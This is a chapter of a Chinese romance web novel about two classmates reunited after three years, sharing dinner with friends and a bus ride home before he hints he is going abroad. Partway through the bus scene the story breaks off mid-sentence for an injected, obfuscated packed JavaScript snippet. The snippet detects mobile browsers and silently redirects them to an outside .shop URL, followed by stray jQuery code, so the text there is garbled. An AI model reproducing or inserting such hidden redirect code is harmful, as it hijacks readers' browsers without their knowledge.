长清街，是这座城里最有秋天的味道的地方。
街道两旁的梧桐叶已经黄了大半，在夕阳里像被镀了一层薄薄的金，风一吹就簌簌地落下来，铺在人行道上，踩上去沙沙作响。
空气里有糖炒栗子和烤红薯的味道，带着傍晚特有的凉意，深吸一口，整个肺都变成了甜的。
林清昙、杨鸿昱他们一行人沿着长街慢慢走。从奶茶店出来之后，宋初夏说饿了，周明朗说想吃东西，杨鸿昱说请他们吃饭，孟奕涵说知道有一家特别好吃的小饭馆，于是一行人就这样晃晃悠悠地走到了这里。
“就这家，”孟奕涵指着一家装修简单的炒菜馆，“我吃过，他们家的葡萄鸡丁很正宗。”
店面不大，夹在炒河粉和奶茶店中间，招牌是原木色的，上面写着“转角的香”四个字，字体圆圆润润，有点幼稚。
门口坐着几个人，空气里飘着大米香。
宋初夏第一个冲进去：“老板，还有位置吗？我们五个人！”
周明朗在旁边翻了个白眼：“跟没吃过饭似的。”
“要你管啊，本姑娘都快饿扁了。小心再晚一会儿，你看见的就是一具干巴巴的尸体了。”
“想蹭饭就直说。”
“滚蛋。”
两个人又开始拌嘴。
孟奕涵站在旁边，已经习惯了这种场面，安静地等着他们吵完。
林清昙笑着摇了摇头，目光漫不经心地扫过菜单：“杨鸿昱，你是怎么知道那是我点的奶茶？”
杨鸿昱不答反问：“也不知道谁小时候非要我背她的手机号，说这样谁都不会丢了。”
小时候，妈妈告诉林清昙，一定要记住手机号和地址，如果走丢了，可以告诉警察妈妈的手机号。
小小的林清昙就记住了这句话。
杨鸿昱的父母很少在家。
他又经常一个人上下学。
林清昙害怕他走丢，天天缠着他，让他背自己的手机号。并且，还偷偷用手机给杨鸿昱发消息，检查杨鸿昱有没有认真背手机号，有没有按时吃饭，有没有准时到家，有没有被人拐走。
一个月至少180条短信。
要知道当年的短信可是一毛钱一条。
后来，杨鸿昱搬走了。
林清昙也没再发过短信，却一直用着这个手机号。希望能在某一天的放学收到杨鸿昱发来的消息。
电话费她一直按时交，短信的图标再也没闪过。
那一串没有意义数字组合在一起，本能串联他们的一生。可偏偏，一个难以启齿，一个胆小犹豫，就这样断联了三年。
“哟哟哟，什么关系啊，还会背手机号。我连我妈的手机号都不会背呢。”宋初夏一脸吃瓜的表情。
周明朗翻个白眼：“你笨呗，像杨校草这样的学霸，定是有过目不忘的本事，看一遍肯定就记住了，你跟人家怎么比啊。”
“周明朗你有病啊，不挤兑我能死啊。”
孟奕涵捂嘴轻笑，目光却在林清昙和杨鸿昱之间轻轻流转。
林清昙撇撇嘴：“那我记得你当时可是宁死不背啊，还说我烦。”
杨鸿昱转移话题：“哦。你们吃什么？”
几个人找了个位置坐下。
周明朗搓了搓手：“既然杨大校草请客，那我就不客气了。
宋初夏用手肘怼了一下周明朗：“你吃屁去吧。”
周明朗挠挠头：“你撞我干什么？地儿还不够大啊？”
宋初夏恨铁不成钢的瞪着他。
桌底下的脚毫不客气的踩了周明朗的新款耐克。
周明朗嗷一嗓子，宋初夏立马拿了馒头堵住他的嘴：“吃你的吧！傻逼。”
杨鸿昱淡淡道：“随便。”
林清昙选了最便宜的，虽然她不知道杨鸿昱遇到了什么困难，但她知道杨鸿昱一定很需要钱，要不然不吃一百块钱以下的食物的大少爷也不会出来兼职了。
就不点那么贵的东西了。
她真的好贴心呀。
她都快爱上自己了。
将来杨鸿昱知道了，肯定感动死了。
孟奕涵和宋初夏一人选了一道菜，价格中等。
菜单传到杨鸿昱手里，他拿起笔看都不看直接勾了三个菜。
菜单交到服务员手里。
可能因为这会儿还不是吃饭的高峰期，菜上的特别快。
小方桌上摆满了菜。
林清昙以为自己看错了。
她眨了眨眼，又看了一眼，算了算菜，总共三道菜，怎么多出来那么多，还都是自己喜欢吃的！
杨鸿昱淡淡道：“饿了。”
林清昙拿起筷子：“好，既然如此狠吃，猛吃，吃饱再走。”
宋初夏说：“哎呀，这么多菜，让你破费了。”
杨鸿昱说：“今天，谢谢你们。”
周明朗啃着猪蹄，嘴唇油光水亮的，随便擦了擦手，举起果汁：“那还说啥了，谢青春，谢友谊！”
几个人一同举起水杯，在半空碰撞，汁水四溅，每个人脸上都笑颜如花，就连杨鸿昱脸上都有了一丝淡淡的笑容，就像冰山悄然融化了一角。
敬友谊，敬青春，敬年少轻狂的我们。
*
从饭馆出来的时候，天已经全黑了。
长街两侧的店铺陆续亮了灯，暖黄色的光从窗户里透出来，落在人行道上，把梧桐叶的影子拉得忽长忽短。
糖炒栗子的摊子还在，老板正用铁铲翻着锅里黑亮的砂子，栗子的香气飘过来，甜得发腻。
空气比傍晚凉了一些，风灌进衣服领口，林清昙缩了一下脖子，把拉链拉到最上面。
宋初夏和周明朗在路口分开了，一个往东一个往西，走的时候还在拌嘴。
两个人的声音在夜色里越来越远，最后被风吞没了。
孟奕涵在下一个路口也上了车，冲他们摆了摆手，身影消失在梧桐树的阴影里。
公交站牌下只剩两个人。
路灯把站牌照得发白，上面的字迹有些褪色，勉强能看清站名。
林清昙站在站牌旁边，手里攥着那杯没喝完的奶茶。
杨鸿昱站在她旁边，隔着大约半米的距离。他的手插在外套口袋里，目光落在地面上，不知道在想什么。
他的侧脸在路灯下被照得很柔和，下颌线的弧度比平时温柔了一些。
“你今天很开心呀，竟然主动跟这么多人一起吃饭了，”林清昙说。
要是以前，杨鸿昱早就不耐烦离开了。
“还行。”
“什么叫还行。你明明就是很开心呀，杨鸿昱，你骗不了我，我很了解你的。”
杨鸿昱偏过头看了她一眼。
路灯的光在他眼睛里碎成了暖黄色的光斑，像两颗被放在琥珀里的小星星。
“哦。有多了解？”
“超级了解。”
“超级了解是多了解？为什么要了解我？了解我对你来说有什么好处吗？”杨鸿昱看向别处。
“没什么好处，”林清昙说，“我就是觉得你特别特别特别好呀，想了解你，跟你做朋友。”
你不知道，其实我特别特别特别喜欢你。
杨鸿昱轻轻说：“或许我没你想的那么好。”
我的出身。
我的家庭。
是我这一生所有不幸的源头。
也是我这一生不敢靠近你的原因。
“你就是特别特别特别好呀，”
林清昙低下头，用鞋尖蹭了蹭地面。
杨鸿昱自己一个人来奶茶店打工，一个小时大概赚不了多少，却因为宋初夏一句饿了就请了所有人吃饭。
点了满桌的菜，都是她爱吃的。
她不知道他遇到了什么事情。
“杨鸿昱，不要妄自菲薄。你在我们眼里，真的很好很好。”
“我不好。”
“我冷漠，无情，不该存在这个世界。”
“才不是呢。”
“你勇敢，大方，是这个世界的英雄。”
杨鸿昱抬起头，不可思议的看向林清昙。
女孩正笑眼盈盈的看着自己，光线落在她身边，影子落在地上，像一双翅膀。
林清昙像天使。
我真的……有她说的那么好吗？
杨鸿昱喉咙干涩，麻木的想。
306路公交车来了。
黄色的车身从路的尽头拐过来，车灯把前方的路面照得雪亮。
“走啦，小羊，”
耳边又响起熟悉的称呼。
杨鸿昱回神。
林清昙上了车，刷卡，往后面走。
她习惯性地走到最后一排，在靠窗的位置坐下。
杨鸿昱跟在她身后，在她旁边坐下。
和每一次坐公交车回家一样，他坐在靠过道的位置，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17661047|205758||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她靠窗。
公交车启动了，窗外的梧桐树一棵接一棵地往后退。路灯的光一明一暗地落在车厢里，落在两个人的脸上。
林清昙靠在车窗上，玻璃有点凉，贴着肩膀。她侧过头，偷偷看着杨鸿昱。
他也在看窗外，侧脸的线条在明灭的光线中忽隐忽现，眼睛在路灯亮起的那一瞬间被照亮，又随着暗下来的光线隐入阴影。
他的嘴唇抿着，没有表情。
“杨鸿昱。”
“嗯。”
“你……出什么事了吗……你看起来似乎不太开心。”
杨鸿昱的目光顿了一下。
“没有，”他说。
林清昙看着他的侧脸。
杨鸿昱沉默了几秒，然后偏过头看着她。
路灯的光从窗外涌进来，在他脸上交替地明灭，照得他脸上的表情更加神秘莫测。
“林清昙。”
“嗯，怎么了？“
“如果我要走，你会怎么办？”
林清昙的心脏猛地跳了一下，该不会又要转学吧？不要！她和杨鸿昱才重逢三十天！她舍不得杨鸿昱走。
心里山崩海啸，天崩地裂。
嘴上却毫不在意，轻描淡写：“去哪？”
“去一个没有人认识我的地方，说着自己都听不懂的语言，和你隔着一个太平洋那么远。”
林清昙低下头，看着手里的奶茶杯。
她沉默了很久，公交车又过了一个路口。路灯的光从车窗外涌进来，在她的睫毛上投下一小片金色的弧度，她眨了眨眼，那片光碎了又合拢。
“那我给你发消息，”她说，“你记得回我。”
杨鸿昱看着她，声音干涩：“你舍得我吗？”
你说一个字。
不。
你犹豫一秒。
我就哪也不去，只和你相守。
林清昙抬起头看着他，轻轻一笑：“为什么呢？我说舍得你就能留下吗？出国留学，那可是很好的机会。我为什么要阻止你奔向更好的未来呢？”
当然舍不得。
可是她不能那么自私。
喜欢让她想自私的独占他。
理智让她放手。
杨鸿昱看着她。
最后一位乘客下了车，车厢里剩下他们两个人。良久……杨鸿昱轻轻的笑了，林清昙还是和以前一样清醒。
他伸出手。
轻轻碰了一下她的食指，像蜻蜓点水，轻到她以为是自己的错觉。
但他的体温不会骗人。
“林清昙，”他说，“常联系。”
公交车到站了。
两个人站起来，下车，走进熟悉的大道。
光影交叠，树杈的影子在地上铺成一片斑驳的网，风一吹就晃动起来，像一幅正在流动的画。
两个人并肩走着，影子被路灯拉得很长，在地面上缓缓移动。
林清昙走到家门口，停下来。
杨鸿昱也停下来。
“杨鸿昱。”她叫他。
“嗯。”
“明天见。”
杨鸿昱逆光站在路灯下，轮廓被镀上了一层朦胧的光晕，他的表情看不太清。
他说：“明天见。”
林清昙深吸了一口气，然后笑了一下。
没有再说话，转身推开门，走了进去。
门关上了，发出一声很轻的咔嗒。
她靠在门板上，听到外面传来脚步声，越来越远，最后被风声吞没了。
她慢慢蹲下来，把脸埋在膝盖里。
眼泪夺眶而出，一滴眼泪落在手背上。
又要走了。
明明才刚见面。
明明还有很多话没说。
你什么时候回来？
她不敢问。
她怕听到一个很长的时间，恐此生不能再见。她蹲在门后，听着窗外梧桐叶一片一片地落下来，落在院子里，落在窗台上，落在他刚刚站过的路灯下。
她站起来，擦了擦眼睛，走进房间。
她打开灯，坐在书桌前，拿出那本日记本，翻到最新的一页。
拿起笔，想了想，写下几行字。
[暗恋啊]
[就像候鸟迷失了季节]
[我在没有你的春天里独自迁徙]
[我是个不敢说实话的胆小鬼]
2018/9天气/晴转多云